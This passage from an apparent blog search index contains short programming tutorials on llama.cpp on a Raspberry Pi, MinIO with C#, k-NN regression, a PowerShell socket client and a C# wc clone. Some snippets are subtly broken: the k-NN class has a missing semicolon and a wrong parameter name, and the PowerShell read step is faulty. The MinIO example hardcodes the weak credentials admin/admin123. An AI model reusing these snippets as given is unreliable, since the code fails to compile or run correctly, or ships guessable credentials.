Raspberry Pi.\nIt abstracts away system-level configuration while preserving the flexibility to swap models, test prompts, or integrate with other AI pipelines.\nFor developers, researchers, and students, this is an ideal workflow to explore the capabilities of local LLM inference.\n","date":"June 14, 2025","permalink":"https:\/\/rmauro.dev\/running-llama-cpp-in-docker-on-raspberry-pi\/","section":"Posts","summary":"<p>Running large language models on a Raspberry Pi isn\u2019t just possible\u2014it\u2019s fun. Whether you&rsquo;re a hacker exploring local AI, a developer prototyping LLM workflows, or just curious about how far you can push a Pi, this tutorial is for you.<\/p>\n<p>We\u2019ll show you how to build and run <code>llama.cpp<\/code> in Docker on an ARM-based Pi to get a full LLM experience in a tiny, reproducible container. No weird dependencies. No system pollution. Just clean, fast, edge-side inference.<\/p>","title":"Running llama.cpp in Docker on Raspberry Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/self-hosted-llm\/","section":"Tags","summary":"","title":"Self-Hosted-Llm"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tinyllama\/","section":"Tags","summary":"","title":"Tinyllama"},{"content":"For developers and hackers who enjoy squeezing maximum potential out of compact machines, getting a large language model like llama.cpp running natively on a Raspberry Pi is a rewarding challenge. This guide walks you through compiling llama.cpp from source, downloading a model, and running inference - all on the Pi itself.\nPrerequisites #Hardware # Raspberry Pi 4, 5, or newer 64-bit Raspberry Pi OS 4GB RAM minimum (8GB+ recommended) Heatsink or fan recommended for cooling Software # Git CMake (v3.16+) GCC or Clang Python 3 (optional, for Python bindings) Step-by-Step Guide #Install required tools #sudo apt update &amp;&amp; sudo apt upgrade -y sudo apt install -y git build-essential cmake python3-pip libcurl4-openssl-dev Clone and Build llama.cpp #git clone https:\/\/github.com\/ggerganov\/llama.cpp.git cd llama.cpp cmake -B build cmake --build build --config Release -j$(nproc) This step takes sometime. Here we&rsquo;re compiling llama-cpp software.\nDownload a Quantized Model #mkdir -p models &amp;&amp; cd models wget https:\/\/huggingface.co\/TheBloke\/TinyLlama-1.1B-Chat-v1.0-GGUF\/resolve\/main\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf cd .. Let&rsquo;s use the model https:\/\/huggingface.co\/TheBloke\/TinyLlama-1.1B-Chat-v1.0-GGUF for testing.\n4. Run Inference #.\/build\/bin\/llama-cli -m .\/models\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf -p &#34;Hello, Raspberry Pi!&#34; Optional: Python Bindings # Note: The Python bindings have been moved to a separate repository.\ngit clone https:\/\/github.com\/abetlen\/llama-cpp-python.git cd llama-cpp-python python3 -m pip install -r requirements.txt python3 -m pip install . Use in Python:\n# Use in Python: from llama_cpp import Llama llm = Llama(model_path=&#34;.\/models\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf&#34;) print(llm(&#34;Hello from Python!&#34;)) Conclusion #Running llama.cpp natively on a Raspberry Pi is a geeky thrill. It teaches you about compiler optimizations, quantized models, and pushing hardware to the edge\u2014literally. Bonus points if you run it headless over SSH.\n","date":"June 14, 2025","permalink":"https:\/\/rmauro.dev\/running-llm-llama-cpp-natively-on-raspberry-pi\/","section":"Posts","summary":"<p>For developers and hackers who enjoy squeezing maximum potential out of compact machines, getting a large language model like <code>llama.cpp<\/code> running natively on a Raspberry Pi is a rewarding challenge. This guide walks you through compiling llama.cpp from source, downloading a model, and running inference - all on the Pi itself.<\/p>\n<h2 id=\"prerequisites\" class=\"relative group\">Prerequisites <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prerequisites\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><h3 id=\"hardware\" class=\"relative group\">Hardware <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#hardware\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><ul>\n<li>Raspberry Pi 4, 5, or newer<\/li>\n<li>64-bit Raspberry Pi OS<\/li>\n<li>4GB RAM minimum (8GB+ recommended)<\/li>\n<li>Heatsink or fan recommended for cooling<\/li>\n<\/ul>\n<h3 id=\"software\" class=\"relative group\">Software <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#software\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><ul>\n<li>Git<\/li>\n<li>CMake (v3.16+)<\/li>\n<li>GCC or Clang<\/li>\n<li>Python 3 (optional, for Python bindings)<\/li>\n<\/ul>\n<hr>\n<h2 id=\"step-by-step-guide\" class=\"relative group\">Step-by-Step Guide <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#step-by-step-guide\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><h3 id=\"install-required-tools\" class=\"relative group\">Install required tools <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#install-required-tools\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">sudo apt update <span class=\"o\">&amp;&amp;<\/span> sudo apt upgrade -y\n<\/span><\/span><span class=\"line\"><span class=\"cl\">sudo apt install -y git build-essential cmake python3-pip libcurl4-openssl-dev\n<\/span><\/span><\/code><\/pre><\/div><h3 id=\"clone-and-build-llamacpp\" class=\"relative group\">Clone and Build llama.cpp <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#clone-and-build-llamacpp\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">git clone https:\/\/github.com\/ggerganov\/llama.cpp.git\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nb\">cd<\/span> llama.cpp\n<\/span><\/span><span class=\"line\"><span class=\"cl\">cmake -B build\n<\/span><\/span><span class=\"line\"><span class=\"cl\">cmake --build build --config Release -j<span class=\"k\">$(<\/span>nproc<span class=\"k\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>This step takes sometime. Here we&rsquo;re compiling <code>llama-cpp<\/code> software.<\/p>","title":"Running LLM llama.cpp Natively on Raspberry Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/csharp-programming\/","section":"Tags","summary":"","title":"Csharp-Programming"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/minio\/","section":"Tags","summary":"","title":"Minio"},{"content":"MinIO is a high-performance, self-hosted object storage system that&rsquo;s S3-compatible.\nI came across MinIO while looking fora self-hosted alternative to AWS S3. I needed a object storage that was lightweight and open source.\nMinIO stood out because it has S3 API Compatbility while being simple to deploy with Docker.\nIn this guide, you&rsquo;ll learn how to:\nInstall and run MinIO using Docker Set up a C# Minimal API Perform basic CRUD operations (upload, download, list, and delete objects) Understand the benefits of using MinIO Prerequisites #Ensure you have the following installed:\nDocker .NET 8+ SDK A code editor (e.g., Visual Studio Code or Visual Studio) Step 1: Running MinIO with Docker #Start MinIO using the following command:\ndocker run -p 9000:9000 -p 9001:9001 --name minio \\ -e &#34;MINIO_ROOT_USER=admin&#34; \\ -e &#34;MINIO_ROOT_PASSWORD=admin123&#34; \\ -v $(pwd)\/minio-data:\/data \\ quay.io\/minio\/minio server \/data --console-address &#34;:9001&#34; MinIO API: http:\/\/localhost:9000 Web Console: http:\/\/localhost:9001 Login Credentials: Username: admin Password: admin123 Step 2: Creating a C# Minimal API #Create a new Minimal API project:\n# creates a new c# project &gt; dotnet new web -n MinIOApi # navigates to the created folder &gt; cd MinIOApi # adds the package MinIO to the project &gt; dotnet add package Minio Open Program.cs and set up the API:\nusing Minio; using Minio.DataModel.Args; using System.IO; using System.Text; var builder = WebApplication.CreateBuilder(args); var app = builder.Build(); var minio = new MinioClient() .WithEndpoint(&#34;http:\/\/localhost:9000&#34;) .WithCredentials(&#34;admin&#34;, &#34;admin123&#34;) .WithSSL(false) .Build(); app.MapGet(&#34;\/&#34;, () =&gt; &#34;Welcome to MinIO API&#34;); app.Run(); Run the API and it will be accessible at http:\/\/localhost:5000.\nStep 3: Implementing CRUD Operations #Code to Create a Bucket\napp.MapPost(&#34;\/create-bucket\/{bucketName}&#34;, async (string bucketName) =&gt; { await minio.MakeBucketAsync(new MakeBucketArgs().WithBucket(bucketName)); return Results.Ok($&#34;Bucket &#39;{bucketName}&#39; created successfully.&#34;); }); Code to Upload a File\napp.MapPost(&#34;\/upload\/{bucketName}\/{objectName}&#34;, async (string bucketName, string objectName, IFormFile file) =&gt; { using var stream = file.OpenReadStream(); await minio.PutObjectAsync(new PutObjectArgs() .WithBucket(bucketName) .WithObject(objectName) .WithStreamData(stream) .WithObjectSize(file.Length) ); return Results.Ok($&#34;File &#39;{objectName}&#39; uploaded to bucket &#39;{bucketName}&#39;.&#34;); }); Code Download a File\napp.MapGet(&#34;\/download\/{bucketName}\/{objectName}&#34;, async (string bucketName, string objectName) =&gt; { var memoryStream = new MemoryStream(); await minio.GetObjectAsync(new GetObjectArgs() .WithBucket(bucketName) .WithObject(objectName) .WithCallbackStream(async stream =&gt; await stream.CopyToAsync(memoryStream)) ); memoryStream.Position = 0; return Results.File(memoryStream, &#34;application\/octet-stream&#34;, objectName); }); Code to List Files in a Bucket\napp.MapGet(&#34;\/list\/{bucketName}&#34;, async (string bucketName) =&gt; { var objects = new List&lt;string&gt;(); await foreach (var obj in minio.ListObjectsAsync(new ListObjectsArgs().WithBucket(bucketName))) { objects.Add(obj.Key); } return Results.Ok(objects); }); Code to Delete a File\napp.MapDelete(&#34;\/delete\/{bucketName}\/{objectName}&#34;, async (string bucketName, string objectName) =&gt; { await minio.RemoveObjectAsync(new RemoveObjectArgs() .WithBucket(bucketName) .WithObject(objectName) ); return Results.Ok($&#34;File &#39;{objectName}&#39; deleted from bucket &#39;{bucketName}&#39;.&#34;); }); Step 4: Testing the API #First start the API. dotnet run\nCreating a bucket.\ncurl -X POST http:\/\/localhost:5000\/create-bucket\/my-bucket Downloading a file.\ncurl -X GET http:\/\/localhost:5000\/download\/my-bucket\/hello.txt -o hello.txt Listing files.\ncurl -X GET http:\/\/localhost:5000\/list\/my-bucket Deleting a file.\ncurl -X DELETE http:\/\/localhost:5000\/delete\/my-bucket\/hello.txt Benefits of Using MinIO # Self-hosted and Lightweight &amp; Ideal for local development and private cloud storage. S3 API Compatibility &amp; Works seamlessly with AWS S3-compatible tools and libraries. High Performance &amp; Optimized for fast object storage operations. Scalability &amp; Supports both standalone and distributed deployments. Open-Source &amp; No licensing fees, with strong community support. Conclusion #We&rsquo;ve successfully set up MinIO, built a C# Minimal API, and implemented CRUD operations for object storage.\nThis setup provides a powerful alternative to AWS S3, offering full control over your data in a self-hosted environment.\n","date":"February 17, 2025","permalink":"https:\/\/rmauro.dev\/getting-started-with-minio-and-charp\/","section":"Posts","summary":"<p>MinIO is a high-performance, self-hosted object storage system that&rsquo;s S3-compatible.<\/p>\n<p>I came across MinIO while looking fora self-hosted alternative to AWS S3. I needed a object storage that was lightweight and open source.<\/p>\n<p>MinIO stood out because it has S3 API Compatbility while being simple to deploy with Docker.<\/p>\n<p>In this guide, you&rsquo;ll learn how to:<\/p>\n<ul>\n<li>Install and run MinIO using Docker<\/li>\n<li>Set up a C# Minimal API<\/li>\n<li>Perform basic CRUD operations (upload, download, list, and delete objects)<\/li>\n<li>Understand the benefits of using MinIO<\/li>\n<\/ul>\n<h2 id=\"prerequisites\" class=\"relative group\">Prerequisites <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prerequisites\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Ensure you have the following installed:<\/p>","title":"MinIO Storage with C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/storage\/","section":"Tags","summary":"","title":"Storage"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/c%23\/","section":"Tags","summary":"","title":"C#"},{"content":"K-Nearest Neighbors (k-NN) regression is a simple yet effective technique for predicting numeric values. This post demonstrates how to implement k-NN regression in C# from scratch.\nFor simplicity, we use a small synthetic dataset:\ndouble[][] trainData = new double[][] { new double[] {1.0, 1.1, 100.0}, new double[] {2.0, 2.2, 200.0}, new double[] {3.0, 3.3, 300.0}, new double[] {4.0, 4.4, 400.0} }; \/\/ Test data double[] testInput = { 2.5, 2.6 }; Each row represents an instance with two input features and one output value.\nK-NN Regression Implementation #The algorithm calculates the Euclidean distance between the test point and training instances, selects the k nearest neighbors, and averages their output values.\nusing System; using System.Linq; class KNNRegressor(double[][] data, int kValue) { int k = kValue public double Predict(double[] input) { var neighbors = data .Select(row =&gt; new { Distance = EuclideanDistance(input, row), Value = row[^1] }) .OrderBy(x =&gt; x.Distance) .Take(k) .Select(x =&gt; x.Value); return neighbors.Average(); } static double EuclideanDistance(double[] a, double[] b) { double sum = 0; for (int i = 0; i &lt; a.Length; i++) sum += Math.Pow(a[i] - b[i], 2); return Math.Sqrt(sum); } } Example usage\nvar knn = new KNNRegressor(trainData, k: 3); double prediction = knn.Predict(testInput); Console.WriteLine($&#34;Predicted value: {prediction}&#34;); Evaluation #To assess the model, compare predictions with actual values and compute the Mean Absolute Error (MAE).\ndouble[] actualValues = { 250.0 };\u00a0\/\/ Ground truth for test data double mae = Math.Abs(actualValues[0] - prediction); Console.WriteLine($&#34;Mean Absolute Error: {mae}&#34;); Conclusion #This implementation demonstrates how to apply K-NN regression in C# with minimal dependencies.\nWhile simple, k-NN is effective for small datasets and serves as a good baseline for more complex models.\nReferences #K-NN Algorithm: Wikipedia\n","date":"February 4, 2025","permalink":"https:\/\/rmauro.dev\/getting-started-with-knn-and-c\/","section":"Posts","summary":"<p>K-Nearest Neighbors (k-NN) regression is a simple yet effective technique for predicting numeric values. This post demonstrates how to implement k-NN regression in C# from scratch.<\/p>\n<p>For simplicity, we use a small synthetic dataset:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"kt\">double<\/span><span class=\"p\">[][]<\/span> <span class=\"n\">trainData<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"kt\">double<\/span><span class=\"p\">[][]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\u00a0 \u00a0 <span class=\"k\">new<\/span> <span class=\"kt\">double<\/span><span class=\"p\">[]<\/span> <span class=\"p\">{<\/span><span class=\"m\">1.0<\/span><span class=\"p\">,<\/span> <span class=\"m\">1.1<\/span><span class=\"p\">,<\/span> <span class=\"m\">100.0<\/span><span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\u00a0 \u00a0 <span class=\"k\">new<\/span> <span class=\"kt\">double<\/span><span class=\"p\">[]<\/span> <span class=\"p\">{<\/span><span class=\"m\">2.0<\/span><span class=\"p\">,<\/span> <span class=\"m\">2.2<\/span><span class=\"p\">,<\/span> <span class=\"m\">200.0<\/span><span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\u00a0 \u00a0 <span class=\"k\">new<\/span> <span class=\"kt\">double<\/span><span class=\"p\">[]<\/span> <span class=\"p\">{<\/span><span class=\"m\">3.0<\/span><span class=\"p\">,<\/span> <span class=\"m\">3.3<\/span><span class=\"p\">,<\/span> <span class=\"m\">300.0<\/span><span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\u00a0 \u00a0 <span class=\"k\">new<\/span> <span class=\"kt\">double<\/span><span class=\"p\">[]<\/span> <span class=\"p\">{<\/span><span class=\"m\">4.0<\/span><span class=\"p\">,<\/span> <span class=\"m\">4.4<\/span><span class=\"p\">,<\/span> <span class=\"m\">400.0<\/span><span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ Test data<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kt\">double<\/span><span class=\"p\">[]<\/span> <span class=\"n\">testInput<\/span> <span class=\"p\">=<\/span> <span class=\"p\">{<\/span> <span class=\"m\">2.5<\/span><span class=\"p\">,<\/span> <span class=\"m\">2.6<\/span> <span class=\"p\">};<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Each row represents an instance with two input features and one output value.<\/p>\n<h4 id=\"k-nn-regression-implementation\" class=\"relative group\">K-NN Regression Implementation <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#k-nn-regression-implementation\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><p>The algorithm calculates the Euclidean distance between the test point and training instances, selects the k nearest neighbors, and averages their output values.<\/p>","title":"Getting started with KNN and C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/k-nn\/","section":"Tags","summary":"","title":"K-NN"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/machine-learning\/","section":"Tags","summary":"","title":"Machine-Learning"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/powershell\/","section":"Tags","summary":"","title":"Powershell"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/socket\/","section":"Tags","summary":"","title":"Socket"},{"content":"In this article let&rsquo;s use PowerShell to create a socket client and do a simple call to a webserver.\nThere are multiple ways to create sockets using PowerShell. For this article let&rsquo;s take use TcpClient object for it&rsquo;s simplicity.\nTable of Contents # Set up the Client Socket Sending the Request Reading the Response Closing the Connection Complete Code Set up the Client Socket #Let&rsquo;s start by creating the client object. TcpClient it&rsquo;s a very easy way to handle TCP connections as a client.\nWe&rsquo;re going to use the web server https:\/\/httpbin.org\/ to connect our client.\n# Creates the TCP Client $client = New-Object System.Net.Sockets.TcpClient # Connect to the server $client.Connect(&#34;eu.httpbin.org&#34;, 80) Sending the Request #Since we&rsquo;re calling a Web Server HTTP 1.1. We must send the appropriate request as a HTTP 1.1 client.\n# Data mimicking a web client $payload = &#34;GET \/get HTTP\/1.1 Host: eu.httpbin.org Accept: *\/* &#34; $bytesPayload = [System.Text.Encoding]::ASCII.GetBytes($payload) $stream.Write($bytesPayload, 0, $bytesPayload.Length) Reading the Response #Once the request is sent we must immediately start reading the response.\n# Receive data from the server $bufferResponse = New-Object byte[] 4096 #enough to read our response 4mb $bytesRead = $stream.Read($bufferResponse, 0, $bufferResponse.Length) $response = [System.Text.Encoding]::ASCII.GetString($bytesRead, 0, $bytesRead) # Output the Response Write-Host $response Finally! Close the connection #Don&rsquo;t forget to close the connection. \ud83d\ude80\n# Close the connection $stream.Close() $client.Close() Complete Code ## Create a TCP client object $client = New-Object System.Net.Sockets.TcpClient # Connect to the server $client.Connect(&#34;eu.httpbin.org&#34;, 80) # Get the network stream for reading and writing $stream = $client.GetStream() # Send data to the server $data = &#34;GET \/get HTTP\/1.1 Host: eu.httpbin.org Accept: *\/* &#34; $bytes = [System.Text.Encoding]::ASCII.GetBytes($data) $stream.Write($bytes, 0, $bytes.Length) # Receive data from the server $buffer = New-Object byte[] 1024 $bytesRead = $stream.Read($buffer, 0, $buffer.Length) $response = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $bytesRead) # Display the response Write-Host $response # Close the connection $stream.Close() $client.Close() ","date":"December 9, 2024","permalink":"https:\/\/rmauro.dev\/socket-client-over-powershell\/","section":"Posts","summary":"<p>In this article let&rsquo;s use PowerShell to create a socket client and do a simple call to a webserver.<\/p>\n<blockquote>\n<p>There are multiple ways to create sockets using PowerShell. For this article let&rsquo;s take use <code>TcpClient<\/code> object for it&rsquo;s simplicity.<\/p>\n<\/blockquote>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#set-up-the-client-socket\">Set up the Client Socket<\/a><\/li>\n<li><a href=\"#sending-the-request\">Sending the Request<\/a><\/li>\n<li><a href=\"#reading-the-response\">Reading the Response<\/a><\/li>\n<li><a href=\"#finally-close-the-connection\">Closing the Connection<\/a><\/li>\n<li><a href=\"#complete-code\">Complete Code<\/a><\/li>\n<\/ul>\n<h2 id=\"set-up-the-client-socket\" class=\"relative group\">Set up the Client Socket <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#set-up-the-client-socket\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Let&rsquo;s start by creating the client object. TcpClient it&rsquo;s a very easy way to handle TCP connections as a client.<\/p>","title":"Socket Client over PowerShell"},{"content":"The Unix wc (word count) tool is a classic command-line utility that counts the number of lines, words, and characters in a text file. In this post, we&rsquo;ll work on a minimalistic version of this tool using C#.\nFor this project let&rsquo;s focus on clarity over optimization, so even beginners can follow along.\nIntroduction #The wc tool is quite useful for analyzing text files in the terminal. It provides simple statistics:\nNumber of lines Number of words Number of characters Number of bytes This blog post is based on a code challenge where the goal is to recreate the functionality of the wc tool in your language of choice.\nBelow, we\u2019ll build a minimal version of wc using C#.\nStep-by-Step Implementation #First, let&rsquo;s break down what we&rsquo;ll need.\nReading the file: We\u2019ll use a stream to read the contents of the file. Counting lines, words, and characters: We&rsquo;ll write simple methods to count these. Handling command-line arguments: We&rsquo;ll add options to count specific things (lines, words, bytes, etc.). Here\u2019s the code for our minimal wc tool:\nusing System; using System.IO; using System.Linq; using static System.Console; if (args.Length == 0) { PrintUsage(); return; } var parsedArgs = ArgumentsParser.Parse(args); try { using var reader = new StreamReader(parsedArgs.FilePath); long lineCount = 0, wordCount = 0, charCount = 0, byteCount = 0; string? line; while ((line = reader.ReadLine()) != null) { if (parsedArgs.CountLines) lineCount++; if (parsedArgs.CountCharacters) charCount += line.Length + 1; \/\/ +1 for newline character if (parsedArgs.CountWords) wordCount += CountWords(line); if (parsedArgs.CountBytes) byteCount += System.Text.Encoding.UTF8.GetByteCount(line) + 1; } if (parsedArgs.CountLines) Write($&#34;{lineCount} &#34;); if (parsedArgs.CountWords) Write($&#34;{wordCount} &#34;); if (parsedArgs.CountBytes) Write($&#34;{byteCount} &#34;); if (parsedArgs.CountCharacters) Write($&#34;{charCount} &#34;); WriteLine(parsedArgs.FilePath); } catch (FileNotFoundException) { WriteLine($&#34;Error: The file &#39;{parsedArgs.FilePath}&#39; does not exist.&#34;); } static long CountWords(string line) { \/\/ Split the line by spaces and count non-empty entries var words = line.Split(&#39; &#39;, StringSplitOptions.RemoveEmptyEntries); return words.Length; } static void PrintUsage() { const string usage_helper = @&#34;Usage: ccwc [OPTION]... [FILE]... or: ccwc [OPTION]... --files0-from=F Print newline, word, and byte counts for each FILE, and a total line if more than one FILE is specified. A word is a non-zero-length sequence of characters delimited by white space. With no FILE, or when FILE is -, read standard input. The options below may be used to select which counts are printed, always in the following order: newline, word, character, byte, maximum line length. -c, --bytes print the byte counts -m, --chars print the character counts -l, --lines print the newline counts -w, --words print the word counts --help display this help and exit --version output version information and exit !!!DISCLAIMER: This is a clone of famous wc (Word Count) command line. &#34;; WriteLine(usage_helper); } A very simple ArgumentsParser.\npublic record class CWArgument( string FilePath, bool CountBytes, bool CountWords, bool CountLines, bool CountCharacters); public static class ArgumentsParser { \/* * -c : number of bytes * -l : number of lines * -w : number of words * -m : number of characters * Default options - equivalent to -c -l -w *\/ public static CWArgument Parse(string[] arguments) { var countB = arguments.Contains(&#34;-c&#34;) || arguments.Contains(&#34;--bytes&#34;); var countW = arguments.Contains(&#34;-w&#34;) || arguments.Contains(&#34;--words&#34;); var countL = arguments.Contains(&#34;-l&#34;) || arguments.Contains(&#34;--lines&#34;); var countM = arguments.Contains(&#34;-m&#34;) || arguments.Contains(&#34;--chars&#34;); var path = arguments[^1]; var defaults = !countB &amp;&amp; !countW &amp;&amp; !countL &amp;&amp; !countM; if (defaults) return new CWArgument(path, true, true, true, false); return new CWArgument(path, countB, countW, countL, countM); } } How It Works # File Handling: We use a StreamReader to read the file line by line. This is the simplest way to handle file reading in C#. Counting Options: We handle the different counting options using the CWArgument record and the ArgumentsParser class. The parser processes the command-line arguments to determine what should be counted (bytes, words, lines, or characters). By default, it counts bytes, words, and lines, unless specified otherwise. Counting Lines, Words, and Characters: Depending on the options provided, we count the number of lines, words, characters, and bytes. Command-Line Arguments: The file path and options (e.g., -c for bytes) are passed as command-line arguments. The program parses them to determine which statistics to display. Usage #To run the program, compile it and run it from the command line:\ndotnet run -- -l -w -c &lt;path_to_your_file&gt; For example:\ndotnet run -- -l -w example.txt The output will show the selected statistics based on the arguments passed. For example:\n5 15 78 example.txt This means the file example.txt has 5 lines, 15 words, and 78 characters.\nCreate an runnable executable #To do so all you need is.\ndotnet publish -c Release -o ..\/output Check the output folder recently created.\nSpecial Mention #This implementation is a minimalist solution to the Build Your Own wc Tool challenge.\nIf you&rsquo;d like to see a more refined version, including optimizations and additional features, check out my GitHub repository: Rmauro.CommandLines.WordCount.\nConclusion #We\u2019ve built a minimalist version of the Unix wc tool in C# using just a few lines of code.\nBy adding argument parsing, we made the tool customizable based on the user\u2019s needs.\nThis implementation is a great starting point for building command-line utilities and getting comfortable with file handling and argument parsing in C#.\nYou can experiment further by adding features or improving performance, but this version should give you a solid foundation.\nHappy coding! \ud83d\ude0e\n","date":"October 14, 2024","permalink":"https:\/\/rmauro.dev\/building-your-own-wc-tool-in-c-code-challenge\/","section":"Posts","summary":"<p>The Unix <code>wc<\/code> (word count) tool is a classic command-line utility that counts the number of lines, words, and characters in a text file. In this post, we&rsquo;ll work on a minimalistic version of this tool using C#.<\/p>\n<p>For this project let&rsquo;s focus on clarity over optimization, so even beginners can follow along.<\/p>\n<h2 id=\"introduction\" class=\"relative group\">Introduction <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#introduction\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The <code>wc<\/code> tool is quite useful for analyzing text files in the terminal. It provides simple statistics:<\/p>","title":"Building Your Own wc Tool in C# Code Challenge"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/code-challenge\/","section":"Tags","summary":"","title":"Code-Challenge"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/programming\/","section":"Tags","summary":"","title":"Programming"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/.net-6\/","section":"Tags","summary":"","title":".NET 6"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/.net-8\/","section":"Tags","summary":"","title":".NET 8"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/c%23-tutorial\/","section":"Tags","summary":"","title":"C#-Tutorial"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/clean-code\/","section":"Tags","summary":"","title":"Clean-Code"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/csharp-10\/","section":"Tags","summary":"","title":"Csharp-10"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/csharp-features\/","section":"Tags","summary":"","title":"Csharp-Features"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/dotnet\/","section":"Tags","summary":"","title":"DotNet"},{"content":"Introduction #C# 10 introduced implicit usings, a feature designed to reduce boilerplate code by automatically including commonly used namespaces in your projects. This helps make your code cleaner and easier to manage. In this article, we&rsquo;ll explore what implicit usings are, how they work, how to manage them, and the benefits they offer.\nTable of Contents # What Are Implicit Usings How Implicit Usings Works Enabling Implicit Usings Adding Usings to Implicit Usings What Are Implicit Usings #Implicit usings automatically include a predefined list of using directives in your C# files, so you don&rsquo;t need to manually add them.\nThis feature is enabled by default in .NET 6 or later and varies depending on the project type.\nFor example, in a typical .NET console application, you might have several using statements at the top of your files, like using System;, using System.Collections.Generic;, etc. With implicit usings, these are automatically included, allowing you to focus more on your code.\nHow Implicit Usings Works #When you create a new .NET project in .NET 6 or later, implicit usings are enabled by default. The specific namespaces included depend on the project type.\nFor Console Application\nusing System; using System.Collections.Generic; using System.Linq; using System.IO; using System.Net.Http; using 